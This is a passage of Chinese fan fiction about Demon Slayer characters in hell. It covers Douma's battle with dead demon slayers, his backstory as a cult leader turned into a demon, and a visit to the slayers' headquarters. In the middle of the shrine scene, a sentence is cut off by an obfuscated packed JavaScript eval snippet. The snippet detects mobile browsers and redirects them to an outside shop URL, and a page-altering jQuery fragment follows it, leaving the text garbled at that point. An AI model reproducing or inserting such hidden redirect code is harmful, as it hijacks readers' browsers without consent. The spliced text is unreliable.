距离住处还有很大一段距离时,我就感受到了空气中锋芒毕露的的杀气,以及童磨释放血鬼术时那种极度凛冽的寒意。 不容易啊,某怠惰成性的前上弦终于开工了?看来对手很有点意思。 我飞速前进,很快便听见了兵刃相交的声音。临到近前时,我克制住了自己直接冲进战场的冲动,隐去身形蹲在附近的树上看了一会儿。 来犯者是一群很奇怪的人,都穿着白色的羽织,看起来像是武士,手中的刀在挥舞时似乎能带起巨大而无形的气流,其中有几个身手格外矫健,正死死咬住那两只鬼在打。 妓夫太郎这次真正展现出了可怕的战斗力,无数黑色的、如同血影般的薄刃像一场风暴环绕在他四周,对方的攻势也异常凌厉,长刀挥舞的寒光和暗影交错在一起,连四周的灵力场都受到影响而发生了一定程度的扭曲。但更吸引我的,是双方身上所散发出的强烈恨意,那是一种遭遇宿敌、不死不休的缠斗,更接近野兽间的厮杀,是恨不得一块块撕扯下对方血肉,吞吃入腹的自然本能。 相比之下…… 童磨,你在干嘛?完全在闹着玩吗?? 对方的人数没有五十也有三十,按他现在的血鬼术水平,应该只要一个散莲华就能解决的事,他却像阵风似的游走在那些人中,两把扇子所过之处带起阵阵冰雾,雾中掀起鲜红的血色,却在哪处也不恋战,装模作样的撩骚两下就跑,导致全场有一多半的刀都在追着他砍。 这是病吧,得治! 我冲过去挡开一把距离他漂亮的眼珠子只有一个指尖距离的刀,感觉自己的怒气值在飙升:“你眼睛在看哪里呢童磨大人?刀尖都到跟前了还看不见吗?” “诶呀~是小染回来了呀~”他听起来心情极好,“真是太棒了!人家刚刚还在想你哦,发生了很有趣的事情,简直忍不住想要马上见到小染,马上告诉你呢~” 如果不是在战场上,我简直想一刀柄敲在他那张笑的春光明媚的脸上。 “算我求你了,”我觉得自己快哭了,“你认真一点好不好!“ “人家很认真哦~”他闪过两把再次同时逼到面前的刀,“已经数出了至少七种不同的呼吸法呢,诶呀,真是杂乱呐……但还是不太明白,为什么鬼杀队的人会出现在地狱里呢?” 啊? 这下我也有点懵了:“你说什么呢?是那种专门杀鬼的人吗?但是那种人死了应该去转世才对啊!你不会看错了吧?“ “没有错哦。”童磨脸上的笑意更浓,“我和猎鬼人打了两百年的交道,他们的招式我都很熟悉呢~而且从招式上来看,这些人之间是存在关联的哦。” “什么关联?”我也加入了战局,发现这些古怪的人就算被砍到也不会后退,不禁有些惊叹这些人如同死士般的决绝。 童磨却毫无预兆的暴起,金扇裹挟着一阵森寒的杀气,几十枚冰柱凭空降下,将场中的多人直接贯穿,死死钉在原地。 对方终于有人喊了出来:“果然是你!上弦之二!” “真是上弦鬼吗?!”被钉在冰柱上的一个男人咬牙吼道:“不能让他跑了!” 他猛的一挣,竟然将自己的身体扯掉一半,从冰柱上脱离,用仅剩的手向着童磨挥刀砍去。 “啊…”童磨惋惜的说:“果然已经不是人类了呢。” 下一刻,那个人的残躯被一道金光斩成碎片,大量荧绿色的死灵喷涌而出,但还未飞散,就被冻结在一团冰里。 恶鬼微笑着抖了抖扇子上的冰屑,说:“这一个是炎之呼吸。” 他的身影以快的几乎看不见的速度闪到了另一个人身边,居然伸手抓住了他的刀刃。 “这一个也是,但似乎又有点变化。”他用扇子点着下巴,若有所思的说:“这是为什么呢?” 被抓住刀刃的那人手腕一拧,相当迅猛的将刀抽出,倒退出几步。童磨抬起被划出深长刀口的手,满面笑容的舔了舔上面的鲜血,随着伤口的愈合,他眼中逐渐亮起了一种亢奋的光。 “我懂了!”他喜出望外的用扇子拍着手,面向对方笑道,“您和您的同伴,来自不同的时代,对吗?两百年间,我吃过…大概三四个炎柱?虽然你们的剑技一脉相承,但每个人都有细微的变化呢!” 我觉得我的脸都要绿了。 “童磨,你…你这是什么人品?”我难以置信的说,“人家死了都恨到要来地狱里追杀你吗?!” “不会的哦~”鬼一边挥扇格挡对方铺天盖地的刀锋,一边无辜的说道,“我给了他们非常干脆的死法,一点也不痛苦哦~” “……” 对方阵营里又有人咬牙切齿的喊道:“上弦之二!我们永远不会忘记你是怎样虐杀我们的同伴的!今天就是你的死期!” 我极其尴尬的看着那只鬼,没想到他脸上丁点愧色也无,还颇为委屈的说,“小染,你不要听他们胡说,真是冤枉人呐!我的血鬼术吸进去会冻结肺泡这件事他们应该是知道的呀,人家是鬼,自己也没办法嘛!” 我不忍卒睹的捂住脑袋,“……你快一点结束战斗,别再拖了!” “好的哦!”童磨欢快的笑起来,展开双扇一个优雅的回旋,“既然大家都已经死了,那我就不客气啦~血鬼术·冻云·散莲华!” 二重叠加在一起的血鬼术效果惊人。卷地而起的冰雾伴随着漫天飞花碎刃,像一阵海啸般顷刻间便吞没了视野所见的空间。 为防止死灵逸出,我紧跟着甩出一个大面积净化的法术,粼粼波光扩散在空间中,片刻之后,一切都尘埃落定。 “啊啊~好有趣!好过瘾啊~隔了这么久又能领略到鬼杀队的招式,还是不同时代的,人家真是太开心啦~” 某位前上弦伸了个大大的懒腰,面对一地血肉残肢的战场,叉着腰笑的春风荡漾。 我叹了口气,绕过地上逐渐化为灰烬的尸骸,走到还没完全消散的半截人体前。 那男人倒在地上,碎裂的羽织里,爬出几只死灵,眼睛却还在不甘的瞪着我。 “为什么?”我问,“你们明明已经死去了,可以去往彼岸与家人团聚,是谁让你们堕入地狱里继续这毫无意义的战斗?” “我等…鬼杀…意志…虽身死…亦不灭…” 他含混的说完最后几个字,就消散在寒意未退的空气里。 我的心情异常沉重。 这是我在业火之界两百年从未遇到过的事。 要何等强大的执念与怨恨,才能将这些本该去往彼岸的灵魂拖进地狱里? 这些人又是何时来到了这里?只是为了彻底灭杀那些已经堕入地狱的鬼,还是别的什么原因? 妓夫太郎也拖着两把镰刀走了过来,小梅不知道从哪个角落窜出来,扑过去一把抱住了他。 “哥哥好帅啊!打的太漂亮了!” 妓夫太郎难为情的挠了挠脸,蹲下把妹妹抱了起来。 “小梅没有受伤吧?有乖乖躲好吗?” “嘿嘿,我藏的可好了。你们得感谢我,是我先闻到了他们过来时的气味哟。” 闻言我看向她:“是怎样的气味呢?“ 小梅想了想,说:“有点像是那天遇到的那种怪物,还有什么烧焦的味道,因为太难闻了所以就告诉哥哥和童磨大人了。” “小梅真棒!”我终于微笑起来,“学有所成啊,算你毕业啦!” “但是神明大人,你说过在地狱里只有呆了很久的生物,身上才会有气味,这些人类怎么看也不像呆了很久吧?” “我也想知道这件事。”我说,“回去后我们开个会吧。” “诶呀~说起来,上一次上弦会议还是在妓夫太郎和小堕姬死掉以后召开的呢,当时无限城的大家都还很精神呢!”童磨笑嘻嘻的在他的软垫上来回晃悠,“可惜今天只有我们四个,但也不错啦~” “谢谢,这里只有你们三个是上弦。”我不得不纠正他,“我不是。” “没关系呀,我已经决定接受小染加入我们啦~”鬼兴高采烈的说,“大家都是同僚,以后要好好相处哟!” “……”我决定不再理这个脑子有病的上弦,“我们先来共享一下情报吧。” 接着我把在珠世那里会面的情况简单讲了一下。 “所以这里也存在类似紫藤花的植物吗?那女人竟然拿这个试探你,太可恶了!”小梅咬牙切齿的说。 “幸好染小姐对紫藤花没反应,”妓夫太郎叹气,“还是要小心一点比较好。” “紫藤花对上弦都没有太大作用哦。”童磨一手撑着头,微笑道:“但小染要当心,珠世那个女人的手段,可不只是一杯茶这么简单呐。譬如她可以做出让700倍致死量的紫藤花毒素在传遍全身前都不会被察觉的厉害毒药哟。还有,听说她的幻术和催眠术都很强大呢。“ “这样吗?”我默默擦了把汗,看来是无知者无畏啊。“但我更在意的是珠世提到的那些所谓的朋友,和今天来袭的这些猎鬼人有没有关系。” “这些人的刀法和活着时基本没有差别,”妓夫太郎又开始焦躁的挠脸,“还很不容易杀掉,那种绿色的液体 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“玉壶阁下啊,那可是个好人,在上弦里他是最善解人意的一个啦,跟我的关系很好呢!”童磨极为感动的说,“他经常在壶里插上人的手脚,实在非常有创意,所以我也学着在壶里插了个女人的……” “好了你闭嘴!妓夫太郎,还是你来说吧。” 绿发的恶鬼挠了挠头,“因为无惨大人不允许,所以上弦彼此之间交流不多,我知道的也很有限…但玉壶的血鬼术好像是从壶里变出各种奇怪的鱼来…” “对啊,恶心死了。”小梅撇嘴,“什么鱼都有,还有巨大的章鱼呢。” “……好吧。”我叹了口气,“看来那只能去见见珠世说的那些人了。我唯一担心的是,”我看向小梅,“这次可能会把小梅卷进危险里哦。” 我看到妓夫太郎又开始挠脸。 “竟然这么说,难道神明大人看不起我?我可是上弦!”银发少女挑眉瞪着我,“我的拟态是所有鬼里最好的!” “不论发生什么事,我都需要你保持冷静。”我直视着她,“哪怕对方出言不逊,或是故意设置什么挑战,再或者做出更过分的事,你都只是小白,我的妹妹,一个什么都不懂的人类小女孩,能做到这一点吗?” 她颇为严肃的点了点头。我又转向妓夫太郎:“我也向你保证,会用我的生命去保护小梅,不会让她受到伤害,所以…我不在期间,童磨大人就交给你了,你应该了解他有时候其实不太靠谱这一点,该自己做出判断时,就不要理他。” “小染说的这是什么话嘛,”身旁那只鬼马上抱怨道,“人家又不是小孩子了~” 我没理他,继续道,“我知道鬼这种存在可能之前都没有相互合作的先例,但是要想从这里出去,大家必须成为彼此的依靠。我想你们对人类在战斗中的配合所带来的巨大力量一定深有体会,所以这次拜托大家,放下过去的一切成见,守护彼此吧。” 我以额头碰触手背,行了个郑重的礼。 是夜,我坐在檐廊下,望着花园发呆。 这里和业火之界一样不分昼夜,但有时外界混沌的天色会微微发亮,似乎有灵力在大量流动,我便把这种情况称为白昼,把暗一些的天色称为黑夜。 当然,对于习惯黑暗的鬼来说,这实在没有区别。童磨一如既往心情很好的倚在他的软垫上,嘴里似乎还哼着什么歌。 夜风吹过庭院,带来阵阵植物的清香,静谧而深邃。我第一次发现,地狱里的黑夜,竟也不是想象中那么难熬。 听了半天实在听不出他在唱什么,我就问:”童磨大人在哪里学的歌谣啊?怎么词都听不出的?” “是小琴叶以前唱的歌哦。”鬼眨了眨眼,“给伊之助唱的。刚刚突然就想起来啦。” “歌词其实也不清楚,毕竟连她自己也经常搞错嘛。一会儿是拉钩上吊,一百年不变,一会儿又是狸猫,小兔子什么的,听起来傻乎乎的。”他歪着头看我,“但就是突然想起来了。可能是因为那种感觉很熟悉吧?” “童磨大人想念和琴叶在一起的感觉了吗?”我微笑道,“一定很温暖吧?” “是心情很平静的感觉哦,和小染在一起,也是这样的感觉。” 我感到心中有什么东西轻轻动了下,好像一根弦弹奏出了第一个悠扬的音符。 “总觉得好像很久以前,也有过这样的时刻呢。”童磨仿佛自言自语般的说道。 “呐,小染。” 我抬头看着他,白橡色头发的鬼,托着腮朝我微笑着,眼中仿佛坠落了烟花。 “我喜欢和小染在一起的感觉呢,所以,请一定平安的回来哦。” “嗯!”我认真的点点头,“放心吧,我一定会回来的。“ 33. 江户篇·幻光(前情番外) 幼时他听人说,日落之后的那段时间,称为逢魔时刻,那时若是走在路上,听人唤你的名字,万万不可回头,否则就会碰到那些只在黑暗里活动的东西。 但那往往是一天之中最静谧的时刻。鸟雀归林,日光消泯于山间,连最后一丝光线也被茂密的林子吸去,随后便是黑暗。往往此时,西边的天空还会留有一抹余烬般的幻光,在弥漫开来的阴影中缓慢的熄灭,像是经堂供桌上燃尽了的烛火。 那也是寺内的晚膳时间,正常情况下不会有信众来访。童年时,那个他在心中称为“母亲”的女人往往会在这时到来。之所以称为母亲,是因为书里那么写,尽管除了经文并没什么别的书好读,但佛经里“目莲救母”的故事他还是知道的。忘了从何时开始,“母亲”不再让他称其为母亲。这个称呼是不应当的。“母亲“说。你是神明的孩子,神明才是你的父母,记住无论什么时候都应当这样讲。 好的,清子夫人。他说。 清子夫人是个极重视“应当”的人。经堂地板上的蒲团,应当直直的摆成一条线,多一分不行,少一分不行;香炉里焚的应当是三勺白檀混一勺乳香,多一点不行,少一点不行;信众的白衣纽扣应当扣到领口,多一颗不行,少一颗不行;每日早课、晚课、忏悔、祷告都应当按时进行,多一刻不行,少一刻不行。 除了库房里的金银绸缎,那是越多越好的。 因此,整个白昼的日程都是不变的,整个夜晚的日程也是不变的,若说有变化,就只有日落那一刻明灭的幻光,引人遐想。 谁会不喜欢光呢?在他刚刚懂得人事时,就十分清晰的明白了这一点。不论老少男女,信众望向他的眼神里,永远带着某种热切的光,但他们口中说的却是,神明之子的眼中有彩虹,定能看到极乐净土,定能听到神明的声音,请您指引我们到神明的怀抱中去。 清子夫人也这样说。神明之子,请您无论何时,都要指引大家。 何为指引?他幼时曾真心不知,后来有一天突然了悟。这实在是非常简单的事,神坛下面跪拜的人,对方哭,他便哭的更哀伤,对方笑,他便笑的更灿烂,他们要的仅仅是一个看起来和他们不同的存在,所给予的肯定和回应。这么简单的事,实在一想就通,没办法,谁叫他是神明之子,天生就比凡人聪慧。 这大概也是他和石头造的神像的最大不同之处,一张纯洁无辜的脸,一个活的神明,会微笑,会流泪,会用清澈温柔的声音给予劝慰。多么美好,多么恰当,多么令人安心。 然而你们都在哭什么,又都在笑什么呢? 如果说神明之子还有什么不明白的事,这便是仅剩的问题了。 有人来哭家里的庄稼,有人来哭赔掉的买卖,有人来哭病重的女儿,有人来哭早逝的爹娘,有人来哭恶人的欺凌,有人来哭世道的颓丧。有人来为死者哭,有人来为生者哭。 那些事到底有什么值得哭,他也实在不明白,毕竟他的日程在清子夫人的“应当”里排的满满当当,以致每个白昼和每个黑夜都是一样的,极目望去最远也只看到院墙,檐廊下的莲池尚有四季分明,他的视野里却只有经堂,白衣,以及一张张哭泣的脸。 你们好可怜,我能为你们做什么呢?有一次,他真心的问。 这个问题超出了清子夫人“应当“的范畴,导致她当场变了脸色。但信众并没发现有什么不妥,而只是哭着说: 人世太苦,请您指引我们去极乐净土。 好的。他说。我会指引你们去极乐净土。 但什么是极乐?他也只在经文里读到过,那些描述很显然根本不属于这个凄风苦雨的人间,他自己也没见过。或许是在天上?他想,毕竟那些飞来飞去的鸟,看起来也比这些人更自在。 后来发生了一件很幸运的事——有个新来的信众吊死在了寺院附近的树林里。 他记得那个女人,吉原来的游女,疾病缠身,又被男人骗光了积蓄。前一日足足在他面前哭了一个下午,直到清子夫人都感到不耐烦了,便随便找理由打发了她,没想到第二天便死在了林子里。出了这等事,清子夫人也只能叫人把尸首抬回来,一番祷告后好好安葬。 他目睹着那些人操办着简陋的丧仪,有位信众可能看他毕竟年幼,怕他恐慌,就安抚道: 神子不必困扰,她这是真正的大福报,能了却所有痛苦,在您这里前往极乐净土,没有比这更圆满的事了。 太好了。他微笑着说,我为她感到高兴。 啊,原来如此。 原来极乐净土不在天上,而在地下啊。 死亡才是通往极乐的必经之路。 仔细想想,这事他是原本就知道的。几岁时有信众送给他一只小鸟,大概是从外面树上捉的,用根棉线拴着腿就给了他玩。那鸟不吃不喝,一心盯着窗外的世界拼命扑腾,直到腿被棉线割断,星星点点的血溅到了他的经书上。然后很快就不动了。 女侍也是这样安慰他的,说,那鸟是去了极乐,不必再受苦。彼时他还相信极乐在天上,便也没觉得有什么不妥,就看女侍拿走那具小小的尸体,埋在了他窗下的莲池旁。 几天后他难得突发奇想,想看看那鸟怎么飞到极乐去,就找到地方挖开了那个坑。 只有一团白花花的蛆虫,和干瘪的鸟尸。 他有点失望,这看起来一点也不极乐。 但想起那鸟的拼命挣扎,这样也确实不再受苦。 人和鸟,有区别吗?殊途同归罢了。 之后每每信众在求他指引时,他便不再有丝毫迷惑了。 极乐净土嘛,大家有一天都会去的,但我依然会指引你们,毕竟这是我作为神明之子的责任啊。 日子一天天过去,每一个白昼都一样,每一个黑夜都一样。 直到那一天。极乐的殿堂被名为“父母”之人的鲜血浸透。 连他自己都没想到,清高严厉、不苟言笑的清子夫人,竟然拿了把厨下杀鱼的尖刀,捅死了那个男人和他的情妇。 大概不仅是因为他们的行为公然羞辱了她在教众面前的威严,让她的“应当”变成一团烂泥,也是因为那男人吃的用的嫖的都是她辛苦攒下的家业。 鲜血和内脏流成了河,尸首横陈,像是沼泽上绽开的植物。室内的味道令人窒息,混着白檀和乳香的甜腻,就更加令人作呕。 如同混着蛆虫的极乐。 人之将死,满口鲜血的清子夫人伸出一只手,死死抓住了他黑色的法衣,说: 我的神子,我的儿子…请你指引我去往极乐净土… 八岁的他乖巧的握住那只血污的手,微笑着说: 根本没有什么极乐净土,清子夫人。我也不是你的儿子,你说过,神明才是我的父母。 目莲的母亲因为贪念堕在地狱里,他不信有地狱,正如他不信有极乐,所以这对男女仅仅是死了。 死也是离苦得乐,可谓幸事。 那件事唯一的影响是,经堂里几个月都散发着淡淡的血腥味,是那些渗入地板的血一点点散播在空气中,如同某种毒,连最好的白檀都遮不住。 回忆里的人走远了。窗外,幻光也即将消失。 他看向这天的最后一位访客,那是个瘦弱的中年男人,面带菜色,絮絮的说着自己如何和一家人从江户逃出,那边的水灾如何骇人,家里如何失去了所有财产,长子也在路上病亡。 江户城啊?对那边的印象,似乎还是十几年前的某个春日,樱花开的真不错。 他温和的打断了哭泣的男人,问道:“抱歉,容我问个不相干的问题,听闻江户过去从未有过洪灾,因为有一座荒川神社,里面的巫女能通神,很是灵验。怎么会突然发生如此不幸之事呢?” 男人抹了把眼泪,答道:“您说的那是早年间的事了,自从十二年前,最后一任巫女被祭献给了水神,就怪事不断,那荒川之神好像也不灵了,柳生大名就令我们多修堤坝来存水,哪知今年雨水这么大……” “祭献?如何祭献?” 男人迷惑的看着他,似乎不明白为什么神明之子会关注这等细枝末节,支支吾吾的说,“那是当地一直都有的祭祀了,您住在京都这边,可能不熟悉吧。就是把巫女和供品一起推进河里,听说荒川之神会来接引巫女,具体怎么个接引法,我等小民也……” 他至此才完全记起了那个孩子。 实在是个很凶的女孩子,完全不像个巫女。 在街上跟大名的公子吵架,敢莫名其妙掀翻人家的茶席,连哭带吼的诅咒人家,之后一路又只会拽着他跑,又爬山又逛夜市,害他当天的功课都没做完,回去被清子夫人好一通训斥。 我们不用去极乐净土,也可以很开心。她说。 明年春天你还到这里来,我带你去吃羊羹和樱花团子,还有松子糕。后年我带你去江户城的店里吃蜂蜜蛋糕,大后年我们就算长大了,我带你去喝糯米酒,如果是冬天来,我还可以给你烤地瓜。 他当时就觉得奇怪,怎么会有人每一年都过得不一样的?难道不是每一个白天都一样,每一个黑夜都一样吗? 她最后说了什么来着? 对了。 生命是无比宝贵的东西,一定要好好珍惜。 啪。 经堂里的蜡烛爆出了最后一个烛花,随后缓缓熄灭了。 女侍走了进来,换上了新的蜡烛,室内明亮了很多。 他对访客摆出了一张笑脸:“您旅途劳顿,实在是辛苦了,不如就在寺里住下,先休憩几天。放心,神明会看顾一切,必定会给您救赎的。” 男人千恩万谢的退下了。 他望着明灭的烛火,突然对一切感到了厌倦。 仅仅是那种称为厌倦的情绪,不是悲伤,也不是寂寞,只是厌倦而已。 他不是没有厌倦过。童年时无休无止的面对哭诉的信众,他也曾经有过本能的排斥感,但清子夫人说,给予大家指引和救赎,这便是神明之子存在的意义,存在一天,就应当这样做一天。 这仿佛是一个诅咒,并没有随着那对男女的死去而破除。 也许是时候结束了。他想。去过一种完全不同的生活,每一天,每一年,都和过去不同的生活。 这一年秋日的某个傍晚,久已无人问津的荒川神社迎来了一位陌生的访客。 打扫厅堂的女侍看到来者时,不禁愣住了。 那是个身材高挑的青年,微微垂下的眉让他看起来温和俊秀,却有一双含着笑意的桃花眼,以及夺目的白橡色长发,还披着一看就价值不菲的羽织。因为近几个月一直在下雨,他收了伞立在院落的墙边,仿佛对破败的门楣和鸟居完全看不见似的,就带着一脸无忧无虑的微笑走了进来。 女侍迎上前去,惊愕的发现那人的眼睛竟是如同虹霓一般的奇异色彩,忽然她想起了童年听过的传说,关于来自京都某座山中、有着奇异瞳色的神明之子曾造访荒川神社的传说。 还是那青年先开了口,声音沉稳柔和,莫名的很是令人信赖。 “打扰了。请问这里是否有一位名字是白姬的巫女小姐?” 女侍完全迷惑了。毕竟荒川神社已经有十二年没有巫女,柳生家也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252310|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不再派人来打理,近些年更传出了不吉的传说。这人是从外地来的吧,怎么连这事都不知道? 她终于反应过来:“您说的难道是最后一任荒之巫女,白姬大人?啊…那是十几年前的事了,那一年江户旱灾,又赶上瘟疫,连柳生家的小公子都病死了。那位白姬大人怜悯众生之苦,就自愿献祭给了荒川之神。您是从别处来的吧?这件事早就……” “原来是真的死了啊。”看起来温文尔雅的青年突然打断了她。 “您说什么?不,白姬大人是自愿献祭给神……” “我听说了。死了就是死了,不存在了。” 女侍抬起头,发现那青年脸上一片空白的寂静,如同一场暴雪之后的大地。 他盯着高高的神坛,那双颜色特异的瞳孔中,连一丝波澜也没有,语气也极为平静。 “这世上根本没有什么神明。真可惜呀,到最后也没能救赎她。” 一种莫名的寒意袭上了女侍的心头。 然而片刻之后,他的脸上就再次浮现出温和的笑意。 “真是麻烦您了。我有些以前的东西想要交给您保管,是那孩子的东西,留在这里的话,我也就放心了。” 他从腰带上的印笼里拿出一样东西,是一把样式非常简单的小刀,看起来只是小孩子的玩具。 将那把简陋的小刀放在神坛上,他便连看也不再看,转身向门口走去,步伐非常冷静笃定,像是终于摆脱了什么久远的束缚,要将整个人世都抛在身后。 殿堂中突然起了一阵凉风,回旋着呜咽。 在那一刻,走到门口的白发青年微微停顿了脚步,仿佛听到什么声音似的回过头来。 然而只有风声。风将一片枫叶带到他脚下,红色浸染如鲜血。 “啊,是啊,已经是秋天了。”他不知在对谁说道。 夕阳的最后一抹余晖沉入地平线,黑暗最终吞没了他的背影。 一辆黑色的马车行在林间小路上,日落不久,但因为阴雨连绵,又已是深秋,天黑的就早了。 车轮轧在泥泞的路上,摇摇晃晃,速度怎么也快不起来。车内的两名白衣女子于是显得有些焦躁,其中较活泼的一个抱怨道:“教主大人为什么要挑这种天气跑来江户嘛,马上天黑了,肯定来不及赶回寺里了,难道我们要在野外过夜?” 另一个赶忙劝道:“美津,不许这样跟教主大人说话。教主大人说今天是个吉日,要赐予我们别人没有的救赎,这是大好事,不要再抱怨了。” “还是小絮子懂事。”年轻的教主轻轻一笑,手指间长长的烟杆子转了一圈,在精致的小铜钵上磕了磕,那双含笑的桃花眼偏偏是惊艳的虹色,看的絮子一阵心跳。 是啊,神坛上高高在上的教主大人,也是个年轻的男子啊。得是什么样的福气,才能得到如此俊美又有钱有势的男人垂青?什么是极乐?她觉得这便是极乐了。 马车晃动了一下,突然停了下来。 “诶呀,找我的朋友来了。我马上就回来,稍微等我一下哦。” 教主大人今天似乎颇有兴致,连笑容都显得真挚了许多。只是原来神之子也是会抽烟草的吗? 白发的青年悠哉的下了马车,还不忘带上车门,然后向着路边走去。 一棵老树狰狞的阴影下,正倚着一个男人。 男人有着猫一般的血色瞳孔,和浓密的、海藻似的黑发,他袖着手站在那里,目光像毒蛇一般居高临下的审视着朝他走来的青年。 “你来晚了。”他森然道,“你是第一个胆敢让我等待的人。” “诶呀,让您久等了,真是抱歉。”青年毫无惧色,满脸都是温和的微笑,看得男人一阵莫名的烦躁。 虽然不知道为什么,但这个年轻人比他看起来更像鬼。 一个长得像人类,却不是人类的怪物。 “给我一个不杀你,而是满足你心愿的理由。” “我有个教会,教会中的信徒把我当做神明之子,我不论说什么他们都会相信。”白发的年轻人眨了眨那双漂亮的、彩虹一般的眼睛,“这可以为您提供很多便利。另外我没有亲朋,在世间也没有任何牵绊,可以全心全意的为您工作。” “很好。”男人满意的点点头,“我不需要那些全身都是人类弱点的废物。我是鬼舞辻无惨,我存在已经超过了千年,你要记住我的名字,但永远不可说出我的名字,因为我就是神明,听懂了吗?” “啊,那真是我的荣幸,神明大人。” 年轻人一脸幸福的微笑,虔诚的跪在了鬼王脚下。 当鬼王的利爪插进他的头骨时,淋漓的热血顺着曾被万千信众视为神迹的白橡色发丝流淌下来。在令人昏聩的剧痛中,他想到的居然是自己一生只接受过他人的跪拜,却从未下跪过,原来跪拜神明的感觉这么好。 鬼舞辻无惨也略有些惊讶。他转化过的鬼很多,像眼前的年轻人这样在变鬼前和变鬼后外貌毫无二致,连脸上的笑容都未曾改变的,即使千年来也实属未见。 “从今天起,你就叫童磨吧。” 鬼王如此宣告。 白发的鬼顶着满头鲜血若无其事的站了起来,在月光下笑的绚烂。 “谢谢您,这真是个好名字。” 极乐教的神子死去了,诞生在这个月夜的,是百年之后踏着尸山血海起舞的上弦之二。 鬼王踏着月色离去后,他回到马车前,优雅的拉开了车门,对着车里吓呆的两名女子露出一个带着利齿的微笑。 “真是个美好的夜晚啊。神明的救赎,现在开始。” 34. 白姬(1) 三天后我如约带着小梅前往珠世那里,进门时竟发现她有其他访客。 那是个黄色头发、梳着奇怪小辫子的挺拔青年,穿着鹤纹的白色羽织和马乘袴,腰上佩着一柄刀鞘很宽的打刀,见到我们进门就露出了爽朗的笑容。 “竟然是两位如此美丽的小姐!珠世大人的眼光真好!” “平八郎,不可无礼。”珠世给了他一个责备的眼神,随即对我们浅笑道:“染小姐和白小姐一路辛苦了。这位是我的朋友前田早云,奉主公之命来接我们的。他一向是这副不像话的样子,染小姐不要挂心。” “叫我平八郎就好。”姓前田的青年不好意思的挠挠头,“主要是地狱里漂亮的女孩子太少见了,二位小姐不要生气呀。” “阿姐,这个丑八怪是谁,让他离我们远点。”小梅抓紧了我的袖子,毫不掩饰语气里的厌恶。 “小白,不可以这样说话哦。”我提醒她,“要有礼貌。” 然后向那青年微微欠身:“抱歉,早云先生,舍妹自幼长在神社里,没怎么见过外人,被我娇惯的没样子,还望海涵。” 青年摆摆手:“染小姐说的哪里话,白小姐这么可爱的小姑娘,我们欢迎还来不及,不会计较的啦!“ 是人类吗?虽然灵体实体化的程度接近活人,但气息中却混杂着除了人类之外的别的东西。而且… 我留意到青年脸颊的一侧,似乎有一块形状奇特的胎记,但被垂下的头发挡着,看不清样子。 “那我们就出发吧。”黄发青年从怀里掏出两张发黄的纸,递给我们一人一张。 “这是…?” 我看着纸上的符咒,微微皱了皱眉。 “染小姐不要见怪,他们的所在之处不可被外人知晓。”珠世解释道,“因为是第一次见面,他们并不像我一样了解二位的为人。这只是遮蔽视觉的符咒,不会对二位有伤害的。” 这是什么奇葩的神秘组织?怎么比童磨那个极乐教还离谱?! 我只好入乡随俗的把符咒贴到眼睛上,任由一片黑暗遮蔽了视线。另一只手则默默捏了下小梅的手,她也轻轻在我手心捏了下。 还好他们走的路上并没有什么障碍,不知过了多久,沙沙的脚步声停了下来,我感觉有什么东西轻轻震了一下。一瞬间,四周的灵力场发生了几乎微不可查的扭曲,一阵花的芬芳扑面而来。 符咒被人取下,我揉揉眼睛,发现自己正身处一座宽敞的庭院中,院中白砂铺地,非常整洁,面前则是一栋阵屋,屋檐上垂下无数白色的藤蔓。 我几乎一眼就认出那种藤蔓曾出现在妓夫太郎他们找到的那座废弃房子的墙壁上,只不过那些都是已经枯萎风化的,此处这些却饱满而充满生命力,盛开着一串串白花。 ……我就说来路不明的房子不能住! 这里的光线也明显比死灵之森的其他地方明亮些,我突然意识到什么似的抬头看去,在灰色的云层深处,隐约浮现出一条金色的光带,灵力在其中翻涌如水,如同星辰构成的河流。 如果我没猜错的话,这里便是三途河的灵脉汇聚之处,也是之前琴叶、玉壶提过的那道光。 是“门”的所在。 我强按下激动的心情,牵着小梅亦步亦趋的跟随那二人进入了阵屋的前院。 远远就看到檐廊上端坐着一位身穿白色狩衣的青年,身边则站着一位高大的僧人打扮的男性。待走近我才发现,那青年长得很是俊雅,只是额角和一侧脸颊布满烧伤似的疤痕,一双黑眸明亮如星子,目光深邃的注视着我。 是个不简单的人物啊。 名叫前田早云的青年走上前去,单膝跪地道:“主公,珠世大人和我已将那对姐妹带回来了。” 主公? 我品味着这陌生的称号。这是一位大名?是藩主吗? 我对武家的礼仪隐约还有些印象,于是也跟着走上前去想行礼,却见那高大的僧人率先上前一步,双手合十道: “阿弥陀佛,这位小姐请停步,卸下兵刃后才可觐见主公。” 珠世这时跟了上来,有些歉疚的对我说:“染小姐,抱歉,是否能将佩刀解下?” 我吸了口气,不为所动的盯着廊下那青年,平静的说:“我和妹妹初来乍到,按理说应该守你们的规矩,但我这把刀自幼没有离过身,我们又是第一次见面,所以请主公大人恕我难以从命。” 青年温和的笑起来,对僧人说:“千越,不必担心,这位小姐谈吐很是磊落,看着不是什么宵小之辈。”又对我点点头,“染小姐是吗?让您受惊了,我们没有恶意。令妹看起来脸色不太好,是否路上太过疲惫,小孩子吃不消了?” 我才留意到小梅紧紧攥着我的手,一张俏丽的瓜子脸紧绷着,似乎对这些人极为戒备。 “小白,”我摸摸她的头,“是害怕了吗?忍耐一下哦。他们不收留我们的话,阿姐马上就带你回去。反正在哪住都是住,阿姐绝不会离开你的,放心吧。” “主公大人,这两位是珠世大人的朋友,应该可以信赖。”黄发青年说,“她们仿佛是因为某个意外才误入此间,如果放任两个女孩子在这一层地狱继续流浪,难保不会遇到危险的魔物,何况现今还有逃逸的鬼没有肃清,实在太危险了。” 我不禁侧目。少年,很义气嘛。 珠世也上前一步说:“主公大人,染小姐和她的妹妹都是人类,我用雪蕨测试过,没有问题。” “珠世小姐误会了。”青年温言道,“我没有不收留他们姐妹的意思。鬼杀队历来不会将求助者拒之门外。平八郎,你先带这对姐妹去休息吧。” 